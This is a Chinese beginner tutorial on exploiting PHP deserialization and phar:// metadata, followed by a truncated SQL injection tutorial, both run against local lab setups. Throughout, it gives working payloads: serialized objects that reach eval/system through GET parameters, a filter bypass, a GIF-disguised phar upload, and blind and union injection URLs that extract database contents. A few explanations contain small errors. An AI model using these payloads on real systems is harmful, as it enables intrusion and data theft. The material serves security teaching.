前言本文内容主要分为三个部分：原理详解、漏洞练习和防御方法。这是一篇针对PHP反序列化入门者的手把手教学文章，特别适合刚接触PHP反序列化的师傅们。本文的特色在于对PHP反序列化原理进行了深入细致的分析，并提供了一系列由简入深的PHP反序列化习题，配以详细的练习和分析讲解。序列化介绍序列化是指将变量转换为一种可保存或传输的字符串形式的过程；而反序列化则是在需要的时候，将这个字符串重新转换回原来的变量形式以供使用。这两个过程相辅相成，为数据的存储和传输提供了极大的便利，同时也使得程序更加易于维护和扩展。例子将一大段对象序列化压缩成字符串.然后根据要求反序列化重新构造对象.(②是序列化的格式,下文详解)class Person { public $name; //public 修饰的这个成员在任何地方都可以使用 private $age; //private 修饰的成员只能被 其所在类 的其他成员访问 protected $sex; //protected 修饰的类成员 所在类的子类以及同一个包内的其他类 访问 function sayName() { echo $this->name; } function sayAge() { echo $this->age; } function saySex() { echo $this->sex; } function __construct($name, $age,$sex) { $this->name = $name; $this->age = $age; $this->sex = $sex;//protected修饰的sex } } $person=new Person('张三',20,'boy'); $person->sayName();//张三 $person->sayAge();//20 $person->saySex();//boy echo ' '; // 序列化：serialize将php的遍历变量（数组、对象等）转化成一个 可以存储或传输的字符串 表示的函数。即---对象压缩成字符串 echo serialize($person);//O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";} echo " "; // 因为我们需要使用url进行测试，所以将这个转化后的字符串进行url编码，便于之后进行反序列化测试 echo urlencode(serialize($person));//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22%E5%BC%A0%E4%B8%89%22%3Bs%3A11%3A%22%00Person%00age%22%3Bi%3A20%3Bs%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22boy%22%3B%7D get.php进行反序列化，将上面进行url编码的内容传到这个php，进行反序列化（将字符串还原成对象）<?php $html =unserialize($_GET['html']); echo $html; 在上面的代码中我们可以看到序列化之后的内容为，将其进行分段详细解析O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";} O : 自定义对象 object 6 : 类名的长度 :3 : 3个成员属性 s:4 : 你的成员属性名 长度为4 ,并且是一个字符串 string s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位 s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别. i:20 : 20是age的属性值 , i是代表 integer类型 s:6:"*sex"; sex这个属性是一个受保护的属性,特征就是 * 号 s:3:"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值 private和 protected详解//protected举例 class Animal { protected $name; //构造函数，即当你创建一个新对象时，这个方法会自动被调用，用于被初始化对象。 //构造函数可以接收参数，这些参数可以用来设置对象的初始状态。 public function __construct($name) { $this->name = $name; } protected function getName() { echo $this->name ." 小羽网安"; } } ///extends继承 class Dog extends Animal { public function __construct($name) { //调用父类的构造函数 parent::__construct($name); } // public function introduce() // { // //调用父类的eat方法 // parent::getName(); // echo $this->name ." Dog类别的输出"; // } public function getDog() { $this->getName();//调用继承类的getName方法 echo ' 继承之后，继续调用的函数'; } } $myDog=new Dog(" hellow"); $myDog->getDog(); //hellow 小羽网安 继承之后，继续调用的函数 $myName=new Animal("游不动的小鱼丶"); //$myName->getName();//无法从外部访问这个成员，Fatal error: Uncaught Error: Call to protected method Animal::getName() from context //$myDog->getName();//无法从继承之后的类访问这个成员Fatal error: Uncaught Error: Call to protected method Animal::getName() from context ?> PHP在序列化含有private和protected权限的变量时，会在变量名前添加ASCII码为0的不可见字符，表现为%00类名%00属性名和%00*%00属性名。这些字符在显示和输出时可能不易察觉，甚至导致数据截断。为了清晰查看，可将序列化后的字符串进行urlencode编码后打印输出。案例，直接将我们url编码的结果复制到解码工具，会发现每个protected、private属性前面会有个�这个符号就是%00PHP常见的魔术方法__construct用于在创建对象时自动调用，主要用于初始化对象。<?php //声明一个类为Person class Person { public $name; public $age; // 构造函数 public function __construct($name, $age) { $this->name = $name; $this->age = $age; } // 一个普通的方法，用于显示信息 public function displayInfo() { echo "Name: " . $this->name . ", Age: " . $this->age . " "; } } // 创建Person对象 $person1 = new Person("John", 30); $person2 = new Person("Jane", 25); // 调用方法显示信息 $person1->displayInfo(); // 打印：Name: John, Age: 30 $person2->displayInfo(); // 打印：Name: Jane, Age: 25 ?> __destruct它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。__destruct() 方法常用于执行一些清理操作，比如关闭文件、释放资源等。<?php class Person { public $name; // 构造函数 public function __construct($name) { $this->name = $name; echo "构造函数被调用，对象 {$this->name} 被创建。 "; } // 析构函数 public function __destruct() { echo "析构函数被调用，对象 {$this->name} 被销毁。 "; } } // 创建Person对象 $person = new Person("John"); // 脚本结束时，$person 对象会被自动销毁，此时会调用 __destruct() 方法 ?> __toString它允许一个类对象在被当作字符串处理时自动调用该方法，并返回该对象的一个字符串表示。这通常用于调试目的，或者当你需要将对象以字符串形式输出时。<?php class Person { public $name; public $age; // 构造函数 public function __construct($name, $age) { $this->name = $name; $this->age = $age; } // __toString() 方法 public function __toString() { return "Person Object (Name: {$this->name}, Age: {$this->age})"; } } // 创建Person对象 $person = new Person("John", 30); // 当对象被当作字符串处理时，__toString() 方法会被自动调用 echo $person; // 打印：Person Object (Name: John, Age: 30) ?> __invoke允许一个对象像函数那样被调用。当你尝试以调用函数的方式调用一个对象时（例如，$obj()），__invoke() 方法会被自动调用。<?php class Greeter { public $name; // 构造函数 public function __construct($name) { $this->name = $name; } // __invoke() 方法 public function __invoke() { echo "Hello, {$this->name}! "; } } // 创建Greeter对象 $greeter = new Greeter("World"); // 当对象被当作函数调用时，__invoke() 方法会被自动调用 $greeter(); // 打印：Hello, World! ?> __call它在尝试调用一个对象中不可访问的方法时被调用。class MyClass { private function myPrivateMethod($param1, $param2) { echo "调用了一个私有方法：$param1, $param2\n"; } public function __call($name, $arguments) { if ($name === 'myPrivateMethod') { return $this->myPrivateMethod($arguments[0], $arguments[1]); } else { echo "尝试调用的方法 '$name' 不存在。\n"; } } } $obj = new MyClass(); $obj->myPrivateMethod('Hello', 'World'); // 调用私有方法 $obj->myNonExistingMethod('Foo', 'Bar'); // 尝试调用不存在的方法 __sleep它在对象被序列化时调用。（序列化：将一个对象转化为字符串。）class MyClass { public $prop1 = 'value1'; public $prop2 = 'value2'; private $prop3 = 'value3'; public function __sleep() { // 返回不需要被序列化的属性名称数组 return array('prop2'); } } $obj = new MyClass(); $serialized = serialize($obj); echo $serialized; // 输出序列化后的字符串，其中不包含 $prop2 一.初步认识写入反序列化文件index.php，通过传参让页面出现phpinfo页面class one { var $b="phpinfo();"; function action() { eval($this->b);//eval：用于执行一段php代码字符串。 } } $a=unserialize($_GET['obj']);//将获取到的参数进行反序列化 $a->action();//执行这个方法 分析payloadO:3:"one":1:{s:1:"b";s:10:"phpinfo();";} 新建一个序列化test.php文件用于存放预构造的代码<?php class one { var $b='eval($_GET[2]);'; function action() { eval($this->b); } } $a=new one(); $a->action(); echo serialize($a);//实例化一个对象,将其序列化的内容打印出来 得到其序列化的结果，在我们的页面最下面我们将他反序列化-->index.php进行传参很好，能得到我们的结果，如果你疑问是不是index.php代码中包含了phpinfo()，所以他才能执行emmm，完全不需要顾虑，我们来验证这个结论，把这个自定义代码删掉嗯，很好，验证了我们的结论，这个反序列化漏洞，是可以进行任意代码执行的注意前面那个s，代表着你执行的代码字符串长度，大于或者小于这个长度，都是执行不了的当然也可以使用这种payloadhttp://127.0.0.1/index.php?obj=O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}&2=echo system('whoami'); 在考虑完过滤等先决条件后,找到可控点,构造成我们想要执行的代码,将其反序列化利用。这个过程不要去看原来代码想要执行的,关键是去构造你要执行的二.简单利用简单利用反序列化index.php代码参考：<?php class one { var $b = 'echo 123;'; function action() { eval($this->b); } } class Student { var $a; function __construct() { $this->a = new one(); } function __destruct() { $this->a->action(); } } unserialize($_GET[1]); 新建一个test.php用于获取序列化结果，获取我们的参数<?php class one { var $b = 'echo 123;'; function action() { eval($this->b); } } class Student { var $a; //构造函数，对象被实例化即new的时候调用 function __construct() { $this->a = new one(); } //折构函数：被销毁时候调用 function __destruct() { $this->a->action(); } } $one = new Student(); echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:9:"echo 123;";}} 这时候再回到我们index.php可以正常执行代码，那么我们在test.php修改我们的payload为执行系统命令whoami，获取反序列化的攻击载荷<?php class one { var $b = 'system("whoami");'; function action() { eval($this->b); } } class Student { var $a; //构造函数，对象被实例化即new的时候调用 function __construct() { $this->a = new one(); } //折构函数：被销毁时候调用 function __destruct() { $this->a->action(); } } $one = new Student(); echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:17:"system("whoami");";}} 复制这个结果，使用具有反序列化漏洞的index.php进行传参三、相关绕过任务：访问当前目录的1.txt文件构造环境创建一个1.txt文件，输入任意内容，通过反序列化读取文件内容。习题代码<?php @error_reporting(1); echo $_GET['data']; class baby { public $file; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } if (isset($_GET['data'])) { $data = $_GET['data']; preg_match('/[oc]:\d+:/i',$data,$matches); if(count($matches)) { die('Hacker!'); } else { $good = unserialize($data); echo $good; } } else { highlight_file("./test4.php"); } ?> 这段PHP代码包含两部分：上部分定义了一个baby类，包含一个file属性和一个__toString魔术方法，用于读取并返回文件内容。下部分接收GET请求中的data参数，进行过滤后反序列化，并打印结果。理解这两部分的关系，特别是类的序列化形式，对于执行预期操作至关重要。既然上半部分定义了类,下半部分只是过滤的代码,可以将上半部分抽离出来,查看序列化的结果,以便于反序列化同上面一样构造序列化test.php<?php @error_reporting(1); echo $_GET['data']; class baby { //构造你要读取的文件 public $file="1.txt"; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } echo serialize(new baby()); .过滤:代码块中通过正则,不区分大小写的o,c字符,去匹配字符的冒号后的数字来做校验可以通过+4等价代替 4 从而绕过检测(+ url编码为%2b)payload O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";} 四、开始上手任务：读取 flag.游不动的鱼宝丶class A { public $mod1; public $mod2; //对象销毁之后调用 public function __destruct() { $this->mod1->test1(); } } class B { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class C { public $mod1; public $mod2; //__call尝试调用一个对象中不可访问的方法时被调用。 public function __call($test2, $arr) { $s1 = $this->mod1; $s1(); } } class D { public $mod1; public $mod2; //__invoke允许一个对象像函数那样被调用 public function __invoke() { $this->mod2 = "字符串拼接" . $this->mod1; } } class E { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:" . "游不动的鱼宝丶"; } } $a = $_GET['obj']; unserialize($a); 我们来分析代码，E类中的魔术方法调用了GetFlag类中的方法这里的字符串拼接，调用了__toString魔术方法C类中的成员以函数的形式调用了自己的成员B类中的函数调用了C类中的$test2成员最后销毁代码构造: 通过 __construct()魔术方法,创建对象的时候自动调用 / 即在每一个类中都添加一个构造方法<?php class A { public $mod1; public $mod2; //通过 __construct()魔术方法,创建对象的时候自动调用 public function __construct() { $this->mod1 = new B(); } public function __destruct() { $this->mod1->test1(); } } class B { public $mod1; public $mod2; public function __construct() { $this->mod1 = new C(); } public function test1() { $this->mod1->test2(); } } class C { public $mod1; public $mod2; public function __construct() { $this->mod1 = new D(); } public function __call($test2, $arr) { $s1 = $this->mod1; $s1(); } } class D { public $mod1; public $mod2; public function __construct() { $this->mod1 = new E(); } public function __invoke() { $this->mod2 = "字符串拼接" . $this->mod1; } } class E { public $str1; public $str2; public function __construct() { $this->str1 = new GetFlag(); } public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:" . "游不动的鱼宝丶"; } } $c = new A; echo serialize($c);//O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} 序列化输出结果得到payloadO:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} 使用具有该反序列化漏洞的index.php总结:从习题中不难看出, 漏洞的主要的原因就是在反序列化的过程中，通过我们的恶意篡改会产生魔法函数绕过，字符逃逸，远程命令执行等漏洞。Phar文件和Phar协议前言在PHP应用中，随着代码安全性的提升，直接利用unserialize()函数的反序列化漏洞变得越来越困难。为了绕过这一限制，攻击者开始利用PHAR文件存储用户自定义元数据为序列化的特性，为反序列化漏洞的攻击提供了新的途径。即使在没有直接的unserialize()调用或缺乏传参接口的情况下，攻击者仍可以通过可控的文件系统函数，配合phar://伪协议，实现不依赖unserialize()的直接反序列化操作。攻击者只需构造包含恶意代码的PHAR文件并上传到目标网站，然后通过特定方式触发反序列化，即可达到攻击目的。phar文件详解Phar文件是一种PHP归档格式，用于将多个PHP代码文件及其他资源（如图像、样式表等）打包成一个文件，便于应用程序和库的分发。其独特之处在于，它会以序列化的形式存储用户自定义的meta-data。当文件操作函数处理phar文件时，会自动触发meta-data的反序列化过程。phar文件分为四层Stub（存根）：Phar文件的文件头，必须以<?php xxx __HALT_COMPILER(); ?>结尾，其中xxx可以是自定义的任何字符，如果不定义则默认为<?php __HALT_COMPILER(); ?>。Manifest（清单）：包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。在利用Phar反序列化漏洞时，Manifest中的序列化字符串是攻击的主要目标。Contents（内容）：包含了实际的文件内容，比如PHP脚本、图片、样式表等应用程序正常运行所需的其他文件。这些文件在Phar文件中被压缩存储，以节省空间并便于分发。Signature（签名）（可选）：验证Phar文件的完整性和真实性。生成phar文件1.准备环境1.1Phar需要 PHP >= 5.2 1.2在php.ini中将phar.readonly设为Off（注意去掉前面的分号）php配置具体index.php代码，phar文件生成<?php class AnyClass{ var $output = 'phpinfo();'; function __destruct() { eval($this -> output); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub $o = new AnyClass(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?> 访问index.php生成phar文件查看目录这里就有了序列化之后的结果Tips : phar.phar文件是在本地生成后上传到目标网站的。配合phar协议和相关函数，它可以构成反序列化攻击的杀伤链。因此，前置的PHP环境配置操作不会影响后续的攻击实施。利用的关键在于：phar文件必须能上传到服务器；存在可用的魔术方法作为攻击的“跳板”；文件操作函数的参数可控，且特殊字符如./、../、phar等未被过滤。php大部分的文件系统函数在通过phar://伪协议解析phar文件时，都会将meta-data进行反序列化，知道创宇测试后发布的受影响的函数如下 :文件操作函数绕过技巧1.环境限制了phar不能出现在前面的字符里compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar 2.验证文件格式$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 3、绕过上传后缀检查即使将文件后缀改为gif也不影响phar的文件最终执行执行index.php一.初步了解任务:目标1.php界面任务执行phpinfo()1、index.php代码（具有phar协议反序列化漏洞的代码）<?php class Files { var $b = 'echo ok;'; function __destruct() { eval($this->b); } } //$file = '../'.$_GET['file']; is_dir('phar://phar.phar/test.txt'); 2、test.php攻击代码<?php class Files{ var $b = 'phpinfo();'; function __destruct() { eval($this -> b); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，验证文件格式 $o = new Files(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); 这里我们执行我们的攻击代码，生成phar.phar文件可以查看phar.phar文件(.metadata.bin放置着序列化的恶意代码)生成成功后我们就可以利用这个具有phar协议反序列化漏洞index.php访问了，执行成功看不出效果？那么这样呢访问test.php，为空白界面查看文件对payload的obj参数进行传参执行系统命令二、进一步了解通过phar协议读取Destruct called目标文件class TestObject { public function __destruct() { echo 'Destruct called'; } } $filename = $_GET['cmd']; file_get_contents($filename); 分析：存在可控点以及文件操作函数file_get_contents,需要通过phar协议的反序列化功能，配合file_get_contents函数，执行phar.phar文件内序列化后的代码1、同理，构造phar.phar文件，将恶意代码序列化存入phar.phar的.metadata.bin文件中phar.phar文件生成成功利用phar协议，执行了具有phar协议反序列化漏洞的php文件，并成功获取到了魔术方法中的内容扩展：练习具体代码class Test { public $num = 2; public function __destruct() { if ($this->num === 1) { echo 'flag{123}'; } } } echo file_get_contents($_GET['data']); (关键在于构建恶意的代码,关注点在$num = 2 --->$num=1)再深入任务:通过phar协议执行phpinfo详细:通过upload_file.php,index.php,page.php文件模拟攻击目标,使用phar文件和phar协议执行反序列化,达到任意代码执行效果.环境准备1.www/目录(网站根目录)下放upload_file.php,index.php,page.php文件2.www/目录(网站根目录)下新建upload_file文件夹3.各个文件内容及解释<?php if (($_FILES["file"]["type"] == "image/gif") && (substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1)) == 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; } upload_file.php:内容做了一个上传文件后缀的限制upload_file.phpindex.php 提供一个上传界面 page.php 目标可控点<?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename);//用于检查文件或目录是否存在 page.php分析1.目标存在可控点以及文件操作函数page.php分析受影响的文件操作函数表2.只有upload_file.php的对上传文件的后缀和类型进行限制，但是！我们phar文件也可以使用gif后缀！文章中有提到，可以仔细看一看。所以这题我们就可以使用phar协议进行漏洞复现开始解题1、构造上传文件phar，test.php<?php class AnyClass{ var $output = 'phpinfo();'; function __destruct() { eval($this -> output); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，验证文件格式 $o = new AnyClass(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); 检查我们的payload改文件名上传之前，新建一个upload_file文件夹因为这里测试的文件上传代码保存在这个文件夹中开始上传上传成功执行我们的payload漂亮！反序列化漏洞预防使用安全的序列化/反序列化库选择经过安全审计的、维护良好的序列化库。避免使用已知存在安全漏洞的库。限制反序列化的类型只允许反序列化预定义、可信的类。使用类型安全的序列化机制，如Java中的ObjectOutputStream和ObjectInputStream时，可以使用enableSubstitution方法来限制反序列化的类。数据完整性验证在序列化和反序列化过程中，使用数字签名或消息认证码（MAC）来验证数据的完整性。确保序列化数据在传输过程中未被篡改。定期审计和测试定期对应用程序进行安全审计，以识别潜在的反序列化漏洞。使用自动化工具和手动测试方法来检测和利用反序列化漏洞。原文有一定缺陷，在本文已修复，并且本文也比较通俗易懂文章参考：https://mp.weixin.qq.com/s/98SP8M-OjkvLw4lPi3ojvQ
从零开始学SQL注入（sql十大注入类型）：技术解析与实战演练
从零开始学SQL注入（sql十大注入类型）：技术解析与实战演练环境工具：burp suite靶场：sqli服务器：centos7数据库：mysql5.7什么是 Sql 注入？SQL 注入是比较常见的网络攻击方式之一，它不是利用操作系统的 BUG 来实现攻击，而是针对程序员编写时的疏忽，通过 SQL 语句，实现无账号登录，甚至篡改数据库。由于以下的环境都是 MySQL 数据库，所以先了解点 MySQL 有关的知识。在 MySQL5.0 之后，MySQL 中默认添加了一个名为 information_schema 的数据库，该数据库中的表都是只读的，不能进行更新、删除和插入等操作，也不能加载触发器，因为它们实际只是一个视图，不是基本表，没有关联的文件。mysql中注释符：# 、/**/ 、 --information_schema 中三个很重要的表： information_schema.schemata:该数据表存储了 mysql 数据库中的所有数据库的库名 information_schema.tables：该数据表存储了 mysql 数据库中的所有数据表的表名 information_schema.columns:该数据表存储了 mysql 数据库中的所有列的列名 Mysql 中常用的函数------------------------------------- version():查询数据库的版本 user():查询数据库的使用者 database():数据库 system_user():系统用户名 session_user():连接数据库的用户名 current_user():当前用户名 load_file():读取本地文件 @@datadir:读取数据库路径 @@basedir:mysql安装路径 @@version_complie_os:查看操作系统 -------------------------------------ascii(str):返回给定字符的ascii值。如果str是空字符串，返回0如果str是NULL，返回NULL。如 ascii("a")=97 length(str) : 返回给定字符串的长度，如 length("string")=6 substr(string,start,length):对于给定字符串string，从start位开始截取，截取length长度 ,如 substr("chinese",3,2)="in" substr()、stbstring()、mid() :三个函数的用法、功能均一致 concat(username)：将查询到的username连在一起，默认用逗号分隔 concat(str1,'*',str2)：将字符串str1和str2的数据查询到一起，中间用*连接 group_concat(username) ：将username所有数据查询在一起，用逗号连接 limit 0,1：查询第1个数 limit 1,1：查询第2个数判断 SQL 注入是否存在 先加单引号'、双引号"、单括号)、双括号))等看看是否报错，如果报错就可能存在 SQL 注入漏洞了。 还有在 URL 后面加 and 1 = 1 、 and 1 = 2看页面是否显示一样，显示不一样的话，肯定存在 SQL 注入漏洞了。 还有就是Timing Attack测试，也就是时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。 在 MySQL 中，有一个Benchmark()函数，它是用于测试性能的。Benchmark(count,expr)，这个函数执行的结果，是将表达式 expr 执行 count 次 。 因此，利用benchmark函数，可以让同一个函数执行若干次，使得结果返回的时间比平时要长，通过时间长短的变化，可以判断注入语句是否执行成功。这是一种边信道攻击，这个技巧在盲注中被称为Timing Attack，也就是时间盲注。易出现 SQL 注入的功能点： 凡是和数据库有交互的地方都容易出现 SQL 注入，SQL 注入经常出现在登陆页面、涉及获取 HTTP 头（user-agent / client-ip 等）的功能点及订单处理等地方。例如登陆页面，除常见的万能密码，post 数据注入外也有可能发生在 HTTP 头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 ip 的，有可能会被存储进数据库中从而与数据库发生交互导致 sql 注入。Sql 注入的分类 分类依据 类型 获取信息的方式 布尔盲注，时间盲注，报错注入 ，union查询注入，堆叠注入等 提交方式 GET、POST、COOKIE、HTTP 注入等 注入点类型 数字类型的注入、字符串类型的注入、搜索型注入等 其他注入 二次注入、User-Agent 注入、文件读写、宽字节注入 、万能密码 等 N 大类型 Sql 注入原理一、布尔盲注1. 原理以及手工注入条件：攻击者无法直接获取到这些信息 Web 的页面的仅仅会返回 True 和 False。那么布尔盲注就是进行 SQL 注入之后然后根据页面返回的 True 或者是 False 来得到数据库中的相关信息。这里介绍的是通过 ascii 码进行盲注的案例。盲注一般用到的一些函数：ascii() 、substr()、length()，exists()、concat()等http://192.168.1.132:86/Less-5/?id=1为正确页面，回显如下图：http://192.168.209.128:88/Less-5/?id=1'为错误页面，发现注入点，回显如下图：http://192.168.209.128:88/Less-5/?id=1' and length(database())>5 -- qwe 注：这里 qwe 前需要使用空格使用 bool 值进行注入比如：and 1=11.如何判断数据库类型？这个例子中出错页面已经告诉了我们此数据库是 MySQL，那么当我们不知道是啥数据库的时候，如何分辨是哪个数据库呢？目前主流的数据库都有自己的特有表分别如下： 数据库 表名 MySQL information_schema.tables Access msysobjects SQLServer sysobjects 通过这些特有表，我们就可以用如下的语句判断数据库。哪个页面正常显示，就属于哪个数据库//判断是否是Mysql数据库 http://192.168.209.128:88/Less-5/?id=1' and exists(select * from information_schema.tables) # //判断是否是 access数据库 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) # //判断是否是 Sqlserver数据库 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #' //对于MySQL数据库，information_schema 数据库中的表都是只读的，不能进行更新、删除和插入等操作，也不能加载触发器，因为它们实际只是一个视图，不是基本表，没有关联的文件。 information_schema.tables存储了数据表的元数据信息，下面对常用的字段进行介绍： 名称 描述 table_schema 记录数据库名 table_name 记录数据表名 table_rows 关于表的粗略行估计 data_length 记录表的大小（单位字节） 2. 判断当前数据库名(以下方法不适用于 access 和 SQL Server 数据库)1：判断当前数据库的长度，利用二分法 http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>5 --+ //正常显示 http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>10 --+ //不显示任何数据 http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>7 --+ //正常显示 http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>8 --+ //不显示任何数据大于 7 正常显示，大于 8 不显示，说明大于 7 而不大于 8，所以可知当前数据库长度为 8imgimg2：判断当前数据库的字符,和上面的方法一样，利用二分法依次判断 //判断数据库的第一个字符 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100 --+ //判断数据库的第二个字符 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+ ...........由此可以判断出当前数据库为 security，注意使用ascii码转换字符的时候需要使用十进制3. 判断当前数据库中的表（语句后面添加--+）http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) //猜测当前数据库中是否存在 admin 表1：判断当前数据库中表的个数 // 判断当前数据库中的表的个数是否大于5，用二分法依次判断，最后得知当前数据库表的个数为4 http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # 2：判断每个表的长度 //判断第一个表的长度，用二分法依次判断，最后可知当前数据库中第一个表的长度为6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //判断第二个表的长度，用二分法依次判断，最后可知当前数据库中第二个表的长度为6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 3：判断每个表的每个字符的ascii值 //判断第一个表的第一个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # //判断第一个表的第二个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 # .........由此可判断出存在表 emails、referers、uagents、users ，猜测 users 表中最有可能存在账户和密码，所以以下判断字段和数据在 users 表中判断4. 判断表中的字段http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) //如果已经证实了存在 admin 表，那么猜测是否存在 username 字段1：判断表中字段的个数 //判断users表中字段个数是否大于5，这里的users表是通过上面的语句爆出来的 http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 # 2：判断字段的长度 //判断第一个字段的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 //判断第二个字段的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 3：判断字段的ascii值 //判断第一个字段的第一个字符的长度 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 //判断第一个字段的第二个字符的长度 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 ...........由此可判断出 users 表中存在 id、username、password 字段5.判断字段中的数据我们知道了 users 中有三个字段 id 、username 、password，我们现在爆出每个字段的数据1: 判断数据的长度 // 判断id字段的第一个数据的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 // 判断id字段的第二个数据的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 2：判断数据的ascii值 // 判断id字段的第一个数据的第一个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 // 判断id字段的第一个数据的第二个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 ...........二、union查询注入（union 注入）一、原理及手工注入三个条件： 两个表的列数相同，并且相应的列具有相似的数据类型。 查询结果回显。 存在注入漏洞。 我们可以通过order by来判断当前表的列数。http://192.168.209.128:88/Less-1/?id=1' order by 4-- qwq4 时错误，3 时正确，可得知，当前表有 3 列通过 union union查询来知道显示的列数。http://192.168.209.128:88/Less-1/?id=-1' union select 1 ,2 ,3 -- qwq我们union查询的就显示出来了。可知，第 2 列和第 3 列是回显列。那我们就可以在这两个位置插入一些函数了。------------------------------------- version():查询数据库的版本 user():查询数据库的使用者 database():数据库 system_user():系统用户名 session_user():连接数据库的用户名 current_user:当前用户名 load_file:读取本地文件 @@datadir:读取数据库路径 @@basedir:mysql安装路径 